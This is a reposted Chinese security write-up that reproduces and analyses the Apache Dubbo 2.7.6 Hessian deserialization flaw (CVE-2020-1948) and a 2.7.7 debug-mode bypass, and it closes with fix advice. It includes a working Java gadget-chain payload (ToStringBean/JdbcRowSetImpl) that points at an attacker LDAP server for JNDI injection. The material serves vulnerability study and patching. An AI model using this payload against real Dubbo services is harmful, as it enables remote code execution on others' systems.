本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安全+的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!
欢迎各位添加微信号:qinchang_198231
加入安全+ 交流群 和大佬们一起交流安全技术
简介
-
Dubbo 从大的层面上将是RPC框架,负责封装RPC调用,支持很多RPC协议
-
RPC协议包括了dubbo、rmi、hessian、webservice、http、redis、rest、thrift、memcached、jsonrpc等
-
Java中的序列化有Java原生序列化、Hessian 序列化、Json序列化、dubbo 序列化
图片来源:https://www.anquanke.com/post/id/209251
环境搭建
-
克隆项目
-
git clone https://github.com/apache/dubbo-spring-boot-project.git
-
git checkout 2.7.6
2. 添加rome依赖
dubbo-spring-boot-samples 文件夹,在provider-sample文件
夹下的 pom 里添加
3. 启动服务端
org.apache.dubbo.spring.boot.demo.provider.bootstrap.DubboAutoConfigurationProviderBootstrap
复现
python版本
java版本
1. DemoService增加接口方法
2. DefaultDemoService实现接口方法
3. DubboAutoConfigurationConsumerBootstrap客户端增加调用
public ApplicationRunner runner() throws Exception {
Object o = getPayload();
return args -> logger.info(demoService.rceTest(o));
}
private static Object getPayload() throws Exception {
String jndiUrl = "ldap://192.168.2.2:1389/sg56vh";
ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
EqualsBean root = new EqualsBean(ToStringBean.class, bean);
return JDKUtil.makeMap(root, root);
}
4. 运行provider服务者,再运行consumer消费者,触发漏洞
流量
0xdabb开头的为dubbo流量,提出后可以直接用socket发送触发漏洞
分析
python版本触发点
python版本poc成功触发的关键点在于,通过构造一个不存在的service_name使得服务端获取不到期望的DubboExporter进而抛出异常,而在输出异常信息的时候进行了字符串拼接进而调用了隐含的toString方法,所以能够通过构造的恶意对象的toString方法触发漏洞
那么关键点就在异常处理部分了,也正是rui0提出的“后反序列化漏洞”的利用场景,重点来看一下
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker()
dubbo 2.7.3版本中,抛出异常部分直接拼接了inv,此时inv为DecodeableRpcInvocation对象,并且arguments值为我们设置的ToStringBean对象,在对其直接进行字符串拼接时会触发String.append->String.valueOf->obj.toString(),进而将ToStringBean进行tostring触发漏洞
而在2.7.5之后的版本中,throw RemotiyicngException部分变成了
注意到对inv经过了getInvocationWithoutData处理,这个处理是这样的:
可以看到将invocation中的arguments值处理成了空,经过这个处理之后后续的toString利用链就无法继续下去,起到了第一层防御效果,因此通过设置arguments为恶意对象的方法就无法在2.7.5版本以上触发。
相关commit可以在这里看到
Java版本触发点
下面讨论一下java版本poc为什么在解决了异常处理的toString后还是能触发漏洞?
除了上面的commit修复了异常处理中的toString外,官方还提交了一个PR
在org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()中增加了RpcUtils.isGenericCall和RpcUtils.isEcho的判断,在没有补丁之前,pts还能通过反射从desc中获取到,而打了补丁后,如果方法名不是$invoke或$invokeAsync或$echo则直接抛出Service not found,因此当用python版本poc发送不存在的service_name或method_name时,便通不过判断,也就无法利用。
上述判断条件是当传入的参数类别从对应的方法中获取不到的时候进行的,那么如果我们传入正确的方法名和参数类型,该条件就不成立,也就不会进入RpcUtils.isGenericCall和RpcUtils.isEcho,从而绕过了对调用的方法名的判断
因此我们重新实现一下客户端代码,调用正确的服务名和方法名,并传入构造的map对象,便能再次触发漏洞。
触发条件:必须知道服务端的完整service name和方法名,同时该方法需要能接收map或object对象,客户端才能通过正确的服务名和方法名去调用,否则是无法触发的。
2.7.7绕过
上面分析了CVE-2020-1948,看似补丁修复了漏洞,但之后又有讨论说在2.7.7上又存在绕过,下面也来分析一下
还是看getInvocationWithoutData方法,注意到在设置arguments为空之前有这么两行代码
这就是说如果provider是以debug模式启动的,那么会直接返回invocation对象。。。
配置一下服务端启动的日志级别,然后修改python版本poc的method_name为$invoke,成功绕过2.7.7补丁(还需要注意服务名是否匹配和服务版本号的问题)
小结
上面两种触发方式是不一样的,一个是利用异常处理中存在设计不足,使得可以执行用户可控参数的toString方法,也即“后反序列化”利用思路,另一个是直接反序列化hessian2数据,期间对hashmap的操作进入toString,从调用栈上也能看出两者的区别。
修复方式
按照dubbo/pull/6374建议的方法,给ParameterTypesDesc加上校验,严格限制类型为Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;,同时建议参考sofa-hessian给反序列化加上黑名单
参考
-
https://www.mail-archive.com/[email protected]/msg06544.html
-
http://rui0.cn/archives/1338
-
https://www.anquanke.com/post/id/197658
-
https://github.com/apache/dubbo/pull/6374
本文转自先知社区
报名参加EISS2020北京站
本文始发于微信公众号(安世加):技术干货 | Apache Dubbo 2.7.6 反序列化漏洞复现及分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论